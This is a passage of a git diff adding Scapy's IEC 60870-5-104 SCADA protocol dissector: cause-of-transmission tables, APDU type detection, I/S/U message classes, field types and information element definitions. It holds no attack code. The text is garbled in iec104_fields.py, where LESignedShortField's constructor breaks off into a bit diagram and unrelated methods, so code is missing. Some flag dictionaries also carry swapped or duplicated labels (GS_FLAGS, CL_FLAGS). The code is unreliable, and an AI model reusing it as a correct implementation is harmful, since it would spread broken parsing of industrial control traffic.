by query to group 10 (inro10)', + IEC104_COT_INRO11: 'queried by query to group 11 (inro11)', + IEC104_COT_INRO12: 'queried by query to group 12 (inro12)', + IEC104_COT_INRO13: 'queried by query to group 13 (inro13)', + IEC104_COT_INRO14: 'queried by query to group 14 (inro14)', + IEC104_COT_INRO15: 'queried by query to group 15 (inro15)', + IEC104_COT_INRO16: 'queried by query to group 16 (inro16)', + IEC104_COT_REQCOGEN: 'queried by counter general interrogation (reqcogen)', + IEC104_COT_REQCO1: 'queried by query to counter group 1 (reqco1)', + IEC104_COT_REQCO2: 'queried by query to counter group 2 (reqco2)', + IEC104_COT_REQCO3: 'queried by query to counter group 3 (reqco3)', + IEC104_COT_REQCO4: 'queried by query to counter group 4 (reqco4)', + IEC104_COT_RESERVED_42: 'reserved_42', + IEC104_COT_RESERVED_43: 'reserved_43', + IEC104_COT_UNKNOWN_TYPE_CODE: 'unknown type code', + IEC104_COT_UNKNOWN_TRANSMIT_REASON: 'unknown transmit reason', + IEC104_COT_UNKNOWN_COMMON_ADDRESS_OF_ASDU: + 'unknown common address of ASDU', + IEC104_COT_UNKNOWN_ADDRESS_OF_INFORMATION_OBJECT: + 'unknown address of information object', + IEC104_COT_PRIVATE_48: 'private_48', + IEC104_COT_PRIVATE_49: 'private_49', + IEC104_COT_PRIVATE_50: 'private_50', + IEC104_COT_PRIVATE_51: 'private_51', + IEC104_COT_PRIVATE_52: 'private_52', + IEC104_COT_PRIVATE_53: 'private_53', + IEC104_COT_PRIVATE_54: 'private_54', + IEC104_COT_PRIVATE_55: 'private_55', + IEC104_COT_PRIVATE_56: 'private_56', + IEC104_COT_PRIVATE_57: 'private_57', + IEC104_COT_PRIVATE_58: 'private_58', + IEC104_COT_PRIVATE_59: 'private_59', + IEC104_COT_PRIVATE_60: 'private_60', + IEC104_COT_PRIVATE_61: 'private_61', + IEC104_COT_PRIVATE_62: 'private_62', + IEC104_COT_PRIVATE_63: 'private_63' +} + +IEC104_APDU_TYPE_UNKNOWN = 0x00 +IEC104_APDU_TYPE_I_SEQ_IOA = 0x01 +IEC104_APDU_TYPE_I_SINGLE_IOA = 0x02 +IEC104_APDU_TYPE_U = 0x03 +IEC104_APDU_TYPE_S = 0x04 + + +def _iec104_apci_type_from_packet(data): + """ + the type of the message is encoded in octet 1..4 + + oct 1, bit 1 2 oct 3, bit 1 + I Message 0 1|0 0 + S Message 1 0 0 + U Message 1 1 0 + + + see EN 60870-5-104:2006, sec. 5 (p. 13, fig. 6,7,8) + """ + + oct_1 = orb(data[2]) + oct_3 = orb(data[4]) + + oct_1_bit_1 = bool(oct_1 & 1) + oct_1_bit_2 = bool(oct_1 & 2) + oct_3_bit_1 = bool(oct_3 & 1) + + if oct_1_bit_1 is False and oct_3_bit_1 is False: + if len(data) < 8: + return IEC104_APDU_TYPE_UNKNOWN + + is_seq_ioa = ((orb(data[7]) & 0x80) == 0x80) + + if is_seq_ioa: + return IEC104_APDU_TYPE_I_SEQ_IOA + else: + return IEC104_APDU_TYPE_I_SINGLE_IOA + + if oct_1_bit_1 and oct_1_bit_2 is False and oct_3_bit_1 is False: + return IEC104_APDU_TYPE_S + + if oct_1_bit_1 and oct_1_bit_2 and oct_3_bit_1 is False: + return IEC104_APDU_TYPE_U + + return IEC104_APDU_TYPE_UNKNOWN + + +class IEC104_APDU(Packet): + """ + basic Application Protocol Data Unit definition used by S/U/I messages + """ + + def guess_payload_class(self, payload): + + payload_len = len(payload) + + if payload_len < 6: + return self.default_payload_class(payload) + + if orb(payload[0]) != 0x68: + self.default_payload_class(payload) + + # the length field contains the number of bytes starting from the + # first control octet + apdu_length = 2 + orb(payload[1]) + + if payload_len < apdu_length: + warning( + 'invalid len of APDU. given len: {} available len: {}'.format( + apdu_length, payload_len)) + return self.default_payload_class(payload) + + apdu_type = _iec104_apci_type_from_packet(payload) + + return IEC104_APDU_CLASSES.get(apdu_type, + self.default_payload_class(payload)) + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + """ + detect type of the message by checking packet data + :param _pkt: raw bytes of the packet layer data to be checked + :param args: unused + :param kargs: unused + :return: class of the detected message type + """ + + if _iec104_is_i_apdu_seq_ioa(_pkt): + return IEC104_I_Message_SeqIOA + + if _iec104_is_i_apdu_single_ioa(_pkt): + return IEC104_I_Message_SingleIOA + + if _iec104_is_u_apdu(_pkt): + return IEC104_U_Message + + if _iec104_is_s_apdu(_pkt): + return IEC104_S_Message + + return Raw + + +class IEC104_S_Message(IEC104_APDU): + """ + message used for ack of received I-messages + """ + name = 'IEC-104 S APDU' + + fields_desc = [ + + XByteField('start', 0x68), + ByteField("apdu_length", 4), + + ByteField('octet_1', 0x01), + ByteField('octet_2', 0), + IEC104SequenceNumber('rx_seq_num', 0), + ] + + +class IEC104_U_Message(IEC104_APDU): + """ + message used for connection tx control (start/stop) and monitoring (test) + """ + name = 'IEC-104 U APDU' + + fields_desc = [ + + XByteField('start', 0x68), + ByteField("apdu_length", 4), + + BitField('testfr_con', 0, 1), + BitField('testfr_act', 0, 1), + BitField('stopdt_con', 0, 1), + BitField('stopdt_act', 0, 1), + BitField('startdt_con', 0, 1), + BitField('startdt_act', 0, 1), + BitField('octet_1_1_2', 3, 2), + + ByteField('octet_2', 0), + ByteField('octet_3', 0), + ByteField('octet_4', 0) + ] + + +def _i_msg_io_dispatcher_sequence(pkt, next_layer_data): + """ + get the type id and return the matching ASDU instance + """ + next_layer_class_type = IEC104_IO_CLASSES.get(pkt.type_id, conf.raw_layer) + + return next_layer_class_type(next_layer_data) + + +def _i_msg_io_dispatcher_single(pkt, next_layer_data): + """ + get the type id and return the matching ASDU instance + (information object address + regular ASDU information object fields) + """ + next_layer_class_type = IEC104_IO_WITH_IOA_CLASSES.get(pkt.type_id, + conf.raw_layer) + + return next_layer_class_type(next_layer_data) + + +class IEC104ASDUPacketListField(PacketListField): + """ + used to add a list of information objects to an I-message + """ + def m2i(self, pkt, m): + """ + add calling layer instance to the cls()-signature + :param pkt: calling layer instance + :param m: raw data forming the next layer + :return: instance of the class representing the next layer + """ + return self.cls(pkt, m) + + +class IEC104_I_Message_StructureException(Scapy_Exception): + """ + Exception raised if payload is not of type Information Object + """ + pass + + +class IEC104_I_Message(IEC104_APDU): + """ + message used for transmitting data (APDU - Application Protocol Data Unit) + + APDU: MAGIC + APCI + ASDU + MAGIC: 0x68 + APCI : Control Information (rx/tx seq/ack numbers) + ASDU : Application Service Data Unit - information object related data + + see EN 60870-5-104:2006, sec. 5 (p. 12) + """ + name = 'IEC-104 I APDU' + + IEC_104_MAGIC = 0x68 # dec -> 104 + + SQ_FLAG_SINGLE = 0 + SQ_FLAG_SEQUENCE = 1 + + SQ_FLAGS = { + SQ_FLAG_SINGLE: 'single', + SQ_FLAG_SEQUENCE: 'sequence' + } + + TEST_DISABLED = 0 + TEST_ENABLED = 1 + + TEST_FLAGS = { + TEST_DISABLED: 'disabled', + TEST_ENABLED: 'enabled' + } + + ACK_POSITIVE = 0 + ACK_NEGATIVE = 1 + + ACK_FLAGS = { + ACK_POSITIVE: 'positive', + ACK_NEGATIVE: 'negative' + } + + fields_desc = [] + + def __init__(self, _pkt=b"", post_transform=None, _internal=0, + _underlayer=None, **fields): + + super(IEC104_I_Message, self).__init__(_pkt=_pkt, + post_transform=post_transform, + _internal=_internal, + _underlayer=_underlayer, + **fields) + + if 'io' in fields and fields['io']: + self._information_object_update(fields['io']) + + def _information_object_update(self, io_instances): + """ + set the type_id in the ASDU header based on the given information + object (io) and check for valid structure + :param io_instances: information object + """ + + if not isinstance(io_instances, list): + io_instances = [io_instances] + + first_io = io_instances[0] + first_io_class = first_io.__class__ + + if not issubclass(first_io_class, IEC104_IO_Packet): + raise IEC104_I_Message_StructureException( + 'information object payload must be a subclass of ' + 'IEC104_IO_Packet') + + self.type_id = first_io.iec104_io_type_id() + + # ensure all io elements within the ASDU share the same class type + for io_inst in io_instances[1:]: + if io_inst.__class__ != first_io_class: + raise IEC104_I_Message_StructureException( + 'each information object within the ASDU must be of ' + 'the same class type (first io: {}, ' + 'current io: {})'.format(first_io_class._name, + io_inst._name)) + + +class IEC104_I_Message_SeqIOA(IEC104_I_Message): + """ + all information objects share a base information object address field + + sq = 1, see EN 60870-5-101:2003, sec. 7.2.2.1 (p. 33) + """ + name = 'IEC-104 I APDU (Seq IOA)' + + fields_desc = [ + # APCI + XByteField('start', IEC104_I_Message.IEC_104_MAGIC), + FieldLenField("apdu_length", None, fmt="!B", length_of='io', + adjust=lambda pkt, x: x + 13), + + IEC104SequenceNumber('tx_seq_num', 0), + IEC104SequenceNumber('rx_seq_num', 0), + + # ASDU + ByteEnumField('type_id', 0, IEC104_IO_NAMES), + + BitEnumField('sq', IEC104_I_Message.SQ_FLAG_SEQUENCE, 1, + IEC104_I_Message.SQ_FLAGS), + BitFieldLenField('num_io', None, 7, count_of='io'), + + BitEnumField('test', 0, 1, IEC104_I_Message.TEST_FLAGS), + BitEnumField('ack', 0, 1, IEC104_I_Message.ACK_FLAGS), + BitEnumField('cot', 0, 6, CAUSE_OF_TRANSMISSIONS), + + ByteField('origin_address', 0), + + LEShortField('common_asdu_address', 0), + + LEThreeBytesField('information_object_address', 0), + + IEC104ASDUPacketListField('io', + conf.raw_layer(), + _i_msg_io_dispatcher_sequence, + length_from=lambda pkt: pkt.apdu_length - 13) + ] + + def post_dissect(self, s): + if self.type_id == IEC104_IO_ID_C_RD_NA_1: + + # IEC104_IO_ID_C_RD_NA_1 has no payload. we will add the layer + # manually to the stack right now. we do this num_io times + # as - even if it makes no sense - someone could decide + # to add more than one read commands in a sequence... + setattr(self, 'io', [IEC104_IO_C_RD_NA_1()] * self.num_io) + + return s + + +class IEC104_I_Message_SingleIOA(IEC104_I_Message): + """ + every information object contains an individual information object + address field + + sq = 0, see EN 60870-5-101:2003, sec. 7.2.2.1 (p. 33) + """ + name = 'IEC-104 I APDU (single IOA)' + + fields_desc = [ + # APCI + XByteField('start', IEC104_I_Message.IEC_104_MAGIC), + FieldLenField("apdu_length", None, fmt="!B", length_of='io', + adjust=lambda pkt, x: x + 10), + + IEC104SequenceNumber('tx_seq_num', 0), + IEC104SequenceNumber('rx_seq_num', 0), + + # ASDU + ByteEnumField('type_id', 0, IEC104_IO_NAMES), + + BitEnumField('sq', IEC104_I_Message.SQ_FLAG_SINGLE, 1, + IEC104_I_Message.SQ_FLAGS), + BitFieldLenField('num_io', None, 7, count_of='io'), + + BitEnumField('test', 0, 1, IEC104_I_Message.TEST_FLAGS), + BitEnumField('ack', 0, 1, IEC104_I_Message.ACK_FLAGS), + BitEnumField('cot', 0, 6, CAUSE_OF_TRANSMISSIONS), + + ByteField('origin_address', 0), + + LEShortField('common_asdu_address', 0), + + IEC104ASDUPacketListField('io', + conf.raw_layer(), + _i_msg_io_dispatcher_single, + length_from=lambda pkt: pkt.apdu_length - 10) + ] + + +IEC104_APDU_CLASSES = { + IEC104_APDU_TYPE_UNKNOWN: conf.raw_layer, + IEC104_APDU_TYPE_I_SEQ_IOA: IEC104_I_Message_SeqIOA, + IEC104_APDU_TYPE_I_SINGLE_IOA: IEC104_I_Message_SingleIOA, + IEC104_APDU_TYPE_U: IEC104_U_Message, + IEC104_APDU_TYPE_S: IEC104_S_Message +} + + +def _iec104_is_i_apdu_seq_ioa(payload): + len_payload = len(payload) + if len_payload < 6: + return False + + if orb(payload[0]) != 0x68 or ( + orb(payload[1]) + 2) > len_payload or len_payload < 8: + return False + + return IEC104_APDU_TYPE_I_SEQ_IOA == _iec104_apci_type_from_packet(payload) + + +def _iec104_is_i_apdu_single_ioa(payload): + len_payload = len(payload) + if len_payload < 6: + return False + + if orb(payload[0]) != 0x68 or ( + orb(payload[1]) + 2) > len_payload or len_payload < 8: + return False + + return IEC104_APDU_TYPE_I_SINGLE_IOA == _iec104_apci_type_from_packet( + payload) + + +def _iec104_is_u_apdu(payload): + if len(payload) < 6: + return False + + if orb(payload[0]) != 0x68 or orb(payload[1]) != 4: + return False + + return IEC104_APDU_TYPE_U == _iec104_apci_type_from_packet(payload) + + +def _iec104_is_s_apdu(payload): + if len(payload) < 6: + return False + + if orb(payload[0]) != 0x68 or orb(payload[1]) != 4: + return False + + return IEC104_APDU_TYPE_S == _iec104_apci_type_from_packet(payload) + + +def iec104_decode(payload): + """ + can be used to dissect payload of a TCP connection + :param payload: the application layer data (IEC104-APDU(s)) + :return: iec104 (I/U/S) message instance, conf.raw_layer() if unknown + """ + + if _iec104_is_i_apdu_seq_ioa(payload): + return IEC104_I_Message_SeqIOA(payload) + elif _iec104_is_i_apdu_single_ioa(payload): + return IEC104_I_Message_SingleIOA(payload) + elif _iec104_is_s_apdu(payload): + return IEC104_S_Message(payload) + elif _iec104_is_u_apdu(payload): + return IEC104_U_Message(payload) + else: + return conf.raw_layer(payload) + + +bind_layers(TCP, IEC104_APDU, sport=IEC_104_IANA_PORT) +bind_layers(TCP, IEC104_APDU, dport=IEC_104_IANA_PORT) diff --git a/libs/scapy/contrib/scada/iec104/iec104_fields.py b/libs/scapy/contrib/scada/iec104/iec104_fields.py new file mode 100755 index 0000000..0ccafc8 --- /dev/null +++ b/libs/scapy/contrib/scada/iec104/iec104_fields.py @@ -0,0 +1,143 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Thomas Tannhaeuser +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +""" + field type definitions used by iec 60870-5-104 layer (iec104) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + :description: + + This file provides field definitions used by the IEC-60870-5-104 + implementation. Some of those fields are used exclusively by iec104 + (e.g. IEC104SequenceNumber) while others (LESignedShortField) are + more common an may be moved to fields.py. + + normative references: + - EN 60870-5-104:2006 + - EN 60870-5-4:1993 + - EN 60870-5-4:1994 +""" +import struct + +from scapy.compat import orb +from scapy.fields import Field, ThreeBytesField, BitField +from scapy.volatile import RandSShort + + +class LESignedShortField(Field): + """ + little endian signed short field + """ + def __init__(self, name, default): + Field.__init__(self, name, default, "7 6 5 4 3 2 1 0 + +---+---+---+---+---+---+---+---+---------+ + | | | | | | |LSB| 0 | =byte 0 | + +---+---+---+---+---+---+---+---+---------+ + |MSB| | | | | | | | =byte 1 | + +---+---+---+---+---+---+---+---+---------+ + + """ + + def __init__(self, name, default): + Field.__init__(self, name, default, "!I") + + def addfield(self, pkt, s, val): + b0 = (val << 1) & 0xfe + b1 = val >> 7 + + return s + bytes(bytearray([b0, b1])) + + def getfield(self, pkt, s): + b0 = (orb(s[0]) & 0xfe) >> 1 + b1 = orb(s[1]) + + seq_num = b0 + (b1 << 7) + + return s[2:], seq_num + + +class IEC104SignedSevenBitValue(BitField): + """ + Typ 2.1, 7 Bit, [-64..63] + + see EN 60870-5-4:1994, Typ 2.1 (p. 13) + """ + + def __init__(self, name, default): + BitField.__init__(self, name, default, 7) + + def m2i(self, pkt, x): + + if x & 64: + x = x - 128 + + return x + + def i2m(self, pkt, x): + + sign = 0 + if x < 0: + sign = 64 + x = x + 64 + + x = x | sign + + return x diff --git a/libs/scapy/contrib/scada/iec104/iec104_information_elements.py b/libs/scapy/contrib/scada/iec104/iec104_information_elements.py new file mode 100755 index 0000000..366cb6f --- /dev/null +++ b/libs/scapy/contrib/scada/iec104/iec104_information_elements.py @@ -0,0 +1,1433 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Thomas Tannhaeuser +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +""" + information element definitions used by IEC 60870-5-101/104 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + :description: + + This module provides the information element (IE) definitions used to + compose the ASDUs (Application Service Data Units) used within the + IEC 60870-5-101 and IEC 60870-5-104 protocol. + + normative references: + - IEC 60870-5-4:1993 (atomic base types / data format) + - IEC 60870-5-101:2003 (information elements (sec. 7.2.6) and + ASDU definition (sec. 7.3)) + - IEC 60870-5-104:2006 (information element TSC (sec. 8.8, p. 44)) + + :TODO: + - some definitions should use signed types as outlined in the standard + - normed value element should use a float type + +""" +from scapy.contrib.scada.iec104.iec104_fields import \ + IEC60870_5_4_NormalizedFixPoint, IEC104SignedSevenBitValue, \ + LESignedShortField, LEIEEEFloatField +from scapy.fields import BitEnumField, ByteEnumField, ByteField, \ + ThreeBytesField, \ + BitField, LEShortField, LESignedIntField + + +def _generate_attributes_and_dicts(cls): + """ + create class attributes and dict entries for range-based attributes + + class attributes will take the form: cls._ + + dictionary entries will be generated as: + + the_dict[index] = " ()" + + expects a GENERATED_ATTRIBUTES attribute within the class that contains a + list of the specification for the attributes and dictionary entries to be + generated. each list entry must have this format: + + (attribute_name_prefix, dict_entry_prefix, dictionary, first_index, + last_index) + + with + - the prefix of the attribute name + first_index - index of the first attribute to be generated + last_index - index of the last attribute to be generated + :param cls: the class the attributes should be added to + :return: cls extended by generated attributes + """ + + for attribute_name_prefix, dict_entry_prefix, the_dict, first_index, \ + last_index \ + in cls.GENERATED_ATTRIBUTES: + + for index in range(first_index, last_index + 1): + the_dict[index] = '{} ({})'.format(dict_entry_prefix, index) + + setattr(cls, '{}_{}'.format(attribute_name_prefix, index), index) + + return cls + + +class IEC104_IE_CommonQualityFlags: + """ + common / shared information element quality flags + """ + IV_FLAG_VALID = 0 + IV_FLAG_INVALID = 1 + IV_FLAGS = { + IV_FLAG_VALID: 'valid', + IV_FLAG_INVALID: 'invalid' + } + + NT_FLAG_CURRENT_VALUE = 0 + NT_FLAG_OLD_VALUE = 1 + NT_FLAGS = { + NT_FLAG_CURRENT_VALUE: 'current value', + NT_FLAG_OLD_VALUE: 'old value' + } + + SB_FLAG_NOT_SUBSTITUTED = 0 + SB_FLAG_SUBSTITUTED = 1 + SB_FLAGS = { + SB_FLAG_NOT_SUBSTITUTED: 'not substituted', + SB_FLAG_SUBSTITUTED: 'substituted' + } + + BL_FLAG_NOT_BLOCKED = 0 + BL_FLAG_BLOCKED = 1 + BL_FLAGS = { + BL_FLAG_NOT_BLOCKED: 'not blocked', + BL_FLAG_BLOCKED: 'blocked' + } + + EI_FLAG_ELAPSED_TIME_VALID = 0 + EI_FLAG_ELAPSED_TIME_INVALID = 1 + EI_FLAGS = { + EI_FLAG_ELAPSED_TIME_VALID: 'elapsed time valid', + EI_FLAG_ELAPSED_TIME_INVALID: 'elapsed time invalid' + } + + +class IEC104_IE_SIQ(IEC104_IE_CommonQualityFlags): + """ + SIQ - single point information with quality descriptor + + EN 60870-5-101:2003, sec. 7.2.6.1 (p. 44) + """ + + SPI_FLAG_STATE_OFF = 0 + SPI_FLAG_STATE_ON = 1 + + SPI_FLAGS = { + SPI_FLAG_STATE_OFF: 'off', + SPI_FLAG_STATE_ON: 'on' + } + + informantion_element_fields = [ + BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), + # invalid + BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), + # live or cached old value + BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), + # value substituted + BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), + # blocked + BitField('reserved', 0, 3), + BitEnumField('spi_value', 0, 1, SPI_FLAGS) + ] + + +class IEC104_IE_DIQ(IEC104_IE_CommonQualityFlags): + """ + DIQ - double-point information with quality descriptor + + EN 60870-5-101:2003, sec. 7.2.6.2 (p. 44) + """ + + DPI_FLAG_STATE_UNDEFINED_OR_TRANSIENT = 0 + DPI_FLAG_STATE_OFF = 1 + DPI_FLAG_STATE_ON = 2 + DPI_FLAG_STATE_UNDEFINED = 3 + + DPI_FLAGS = { + DPI_FLAG_STATE_UNDEFINED_OR_TRANSIENT: 'undefined/transient', + DPI_FLAG_STATE_OFF: 'off', + DPI_FLAG_STATE_ON: 'on', + DPI_FLAG_STATE_UNDEFINED: 'undefined' + } + + informantion_element_fields = [ + BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), + # invalid + BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), + # live or cached old value + BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), + # value substituted + BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), + # blocked + BitField('reserved', 0, 2), + BitEnumField('dpi_value', 0, 2, DPI_FLAGS) + ] + + +class IEC104_IE_QDS(IEC104_IE_CommonQualityFlags): + """ + QDS - quality descriptor separate object + + EN 60870-5-101:2003, sec. 7.2.6.3 (p. 45) + """ + + OV_FLAG_NO_OVERFLOW = 0 + OV_FLAG_OVERFLOW = 1 + OV_FLAGS = { + OV_FLAG_NO_OVERFLOW: 'no overflow', + OV_FLAG_OVERFLOW: 'overflow' + } + + informantion_element_fields = [ + BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), + # invalid + BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), + # live or cached old value + BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), + # value substituted + BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), + # blocked + BitField('reserved', 0, 3), + BitEnumField('ov', 0, 1, OV_FLAGS), # overflow + ] + + +class IEC104_IE_QDP(IEC104_IE_CommonQualityFlags): + """ + QDP - quality descriptor protection equipment separate object + + EN 60870-5-101:2003, sec. 7.2.6.4 (p. 46) + """ + + informantion_element_fields = [ + BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), + # invalid + BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), + # live or cached old value + BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), + # value substituted + BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), + # blocked + BitEnumField('ei', 0, 1, IEC104_IE_CommonQualityFlags.EI_FLAGS), + # blocked + BitField('reserved', 0, 3) + ] + + +class IEC104_IE_VTI: + """ + VTI - value with transient state indication + + EN 60870-5-101:2003, sec. 7.2.6.5 (p. 47) + """ + + TRANSIENT_STATE_DISABLED = 0 + TRANSIENT_STATE_ENABLED = 1 + + TRANSIENT_STATE_FLAGS = { + TRANSIENT_STATE_DISABLED: 'device not in transient state', + TRANSIENT_STATE_ENABLED: 'device in transient state' + } + + informantion_element_fields = [ + BitEnumField('transient_state', 0, 1, TRANSIENT_STATE_FLAGS), + IEC104SignedSevenBitValue('value', 0) + ] + + +class IEC104_IE_NVA: + """ + NVA - normed value + + EN 60870-5-101:2003, sec. 7.2.6.6 (p. 47) + """ + + informantion_element_fields = [ + IEC60870_5_4_NormalizedFixPoint('normed_value', 0) + ] + + +class IEC104_IE_SVA: + """ + SVA - scaled value + + EN 60870-5-101:2003, sec. 7.2.6.7 (p. 47) + """ + + informantion_element_fields = [ + LESignedShortField('scaled_value', 0) + ] + + +class IEC104_IE_R32_IEEE_STD_754: + """ + R32-IEEE STD 754 - short floating point value + + EN 60870-5-101:2003, sec. 7.2.6.8 (p. 47) + """ + + informantion_element_fields = [ + LEIEEEFloatField('scaled_value', 0) + ] + + +class IEC104_IE_BCR: + """ + BCR - binary counter reading + + EN 60870-5-101:2003, sec. 7.2.6.9 (p. 47) + """ + CA_FLAG_COUNTER_NOT_ADJUSTED = 0 + CA_FLAG_COUNTER_ADJUSTED = 1 + CA_FLAGS = { + CA_FLAG_COUNTER_NOT_ADJUSTED: 'counter not adjusted', + CA_FLAG_COUNTER_ADJUSTED: 'counter adjusted' + } + + CY_FLAG_NO_OVERFLOW = 0 + CY_FLAG_OVERFLOW = 1 + CY_FLAGS = { + CY_FLAG_NO_OVERFLOW: 'no overflow', + CY_FLAG_OVERFLOW: 'overflow' + } + + informantion_element_fields = [ + LESignedIntField('counter_value', 0), + BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), + # invalid + BitEnumField('ca', 0, 1, CA_FLAGS), # counter adjusted + BitEnumField('cy', 0, 1, CY_FLAGS), # carry flag / overflow + BitField('sq', 0, 5) # sequence + ] + + +class IEC104_IE_SEP(IEC104_IE_CommonQualityFlags): + """ + SEP - single event of protection equipment + + EN 60870-5-101:2003, sec. 7.2.6.10 (p. 48) + """ + + ES_FLAG_STATE_UNDEFINED_0 = 0 + ES_FLAG_STATE_OFF = 1 + ES_FLAG_STATE_ON = 2 + ES_FLAG_STATE_UNDEFINED_3 = 3 + ES_FLAGS = { + ES_FLAG_STATE_UNDEFINED_0: 'undefined (0)', + ES_FLAG_STATE_OFF: 'off', + ES_FLAG_STATE_ON: 'on', + ES_FLAG_STATE_UNDEFINED_3: 'undefined (3)', + } + + informantion_element_fields = [ + BitEnumField('iv', 0, 1, IEC104_IE_CommonQualityFlags.IV_FLAGS), + # invalid + BitEnumField('nt', 0, 1, IEC104_IE_CommonQualityFlags.NT_FLAGS), + # live or cached old value + BitEnumField('sb', 0, 1, IEC104_IE_CommonQualityFlags.SB_FLAGS), + # value substituted + BitEnumField('bl', 0, 1, IEC104_IE_CommonQualityFlags.BL_FLAGS), + # blocked + BitEnumField('ei', 0, 1, IEC104_IE_CommonQualityFlags.EI_FLAGS), + # time valid + BitField('reserved', 0, 1), + BitEnumField('es', 0, 2, ES_FLAGS), # event state + ] + + +class IEC104_IE_SPE: + """ + SPE - start events of protection equipment + + EN 60870-5-101:2003, sec. 7.2.6.11 (p. 48) + """ + GS_FLAG_NO_GENERAL_TRIGGER = 0 + GS_FLAG_GENERAL_TRIGGER = 1 + GS_FLAGS = { + GS_FLAG_NO_GENERAL_TRIGGER: 'general trigger', + GS_FLAG_GENERAL_TRIGGER: 'no general trigger' + } + + # protection relays - start of operation - fault detection per phase + SL_FLAG_START_OPR_PHASE_L1_NO_TRIGGER = 0 + SL_FLAG_START_OPR_PHASE_L1_TRIGGER = 1 + SL_FLAG_START_OPR_PHASE_L2_NO_TRIGGER = 0 + SL_FLAG_START_OPR_PHASE_L2_TRIGGER = 1 + SL_FLAG_START_OPR_PHASE_L3_NO_TRIGGER = 0 + SL_FLAG_START_OPR_PHASE_L3_TRIGGER = 1 + SL_FLAGS = { + SL_FLAG_START_OPR_PHASE_L1_NO_TRIGGER: 'no start of operation', + SL_FLAG_START_OPR_PHASE_L1_TRIGGER: 'start of operation' + } + + # protection event start caused by earth current + SIE_FLAG_START_OPR_PHASE_IE_NO_TRIGGER = 0 + SIE_FLAG_START_OPR_PHASE_IE_TRIGGER = 1 + SIE_FLAGS = { + SIE_FLAG_START_OPR_PHASE_IE_NO_TRIGGER: 'no start of operation', + SIE_FLAG_START_OPR_PHASE_IE_TRIGGER: 'start of operation' + } + + # direction of the started protection event + SRD_FLAG_DIRECTION_FORWARD = 0 + SRD_FLAG_DIRECTION_BACKWARD = 1 + SRD_FLAGS = { + SRD_FLAG_DIRECTION_FORWARD: 'forward', + SRD_FLAG_DIRECTION_BACKWARD: 'backward' + } + + informantion_element_fields = [ + BitField('reserved', 0, 2), + BitEnumField('srd', 0, 1, SRD_FLAGS), + BitEnumField('sie', 0, 1, SIE_FLAGS), + BitEnumField('sl3', 0, 1, SL_FLAGS), + BitEnumField('sl2', 0, 1, SL_FLAGS), + BitEnumField('sl1', 0, 1, SL_FLAGS), + BitEnumField('gs', 0, 1, GS_FLAGS) + ] + + +class IEC104_IE_OCI: + """ + OCI - output circuit information of protection equipment + + EN 60870-5-101:2003, sec. 7.2.6.12 (p. 49) + """ + # all 3 phases off command + GC_FLAG_NO_GENERAL_COMMAND_OFF = 0 + GC_FLAG_GENERAL_COMMAND_OFF = 1 + GC_FLAGS = { + GC_FLAG_NO_GENERAL_COMMAND_OFF: 'no general off', + GC_FLAG_GENERAL_COMMAND_OFF: 'general off' + } + # phase based off command + # protection relays - start of operation - fault detection per phase + CL_FLAG_NO_COMMAND_L1_OFF = 0 + CL_FLAG_COMMAND_L1_OFF = 1 + CL_FLAG_NO_COMMAND_L2_OFF = 0 + CL_FLAG_COMMAND_L2_OFF = 1 + CL_FLAG_NO_COMMAND_L3_OFF = 0 + CL_FLAG_COMMAND_L3_OFF = 1 + CL_FLAGS = { + CL_FLAG_NO_COMMAND_L1_OFF: 'no command off', + CL_FLAG_COMMAND_L1_OFF: 'no command off' + } + + informantion_element_fields = [ + BitField('reserved', 0, 4), + BitEnumField('cl3', 0, 1, CL_FLAGS), # command Lx + BitEnumField('cl2', 0, 1, CL_FLAGS), + BitEnumField('cl1', 0, 1, CL_FLAGS), + BitEnumField('gc', 0, 1, GC_FLAGS), # general off + ] + + +class IEC104_IE_BSI: + """ + BSI - binary state information + + EN 60870-5-101:2003, sec. 7.2.6.13 (p. 49) + """ + informantion_element_fields = [ + BitField('bsi', 0, 32) + ] + + +class IEC104_IE_FBP: + """ + FBP - fixed test bit pattern + + EN 60870-5-101:2003, sec. 7.2.6.14 (p. 49) + """ + informantion_element_fields = [ + LEShortField('fbp', 0) + ] + + +@_generate_attributes_and_dicts +class IEC104_IE_QOC: + """ + QOC - qualifier of command + + EN 60870-5-101:2003, sec. 7.2.6.26 (p. 54) + """ + + QU_FLAG_NO_ADDITIONAL_PARAMETERS = 0 + QU_FLAG_SHORT_COMMAND_EXEC_TIME = 1 # e.g. controlling a power switch + QU_FLAG_LONG_COMMAND_EXEC_TIME = 2 + QU_FLAG_PERMANENT_COMMAND = 3 + + QU_FLAGS = { + QU_FLAG_NO_ADDITIONAL_PARAMETERS: 'no additional parameter', + QU_FLAG_SHORT_COMMAND_EXEC_TIME: 'short execution time', + 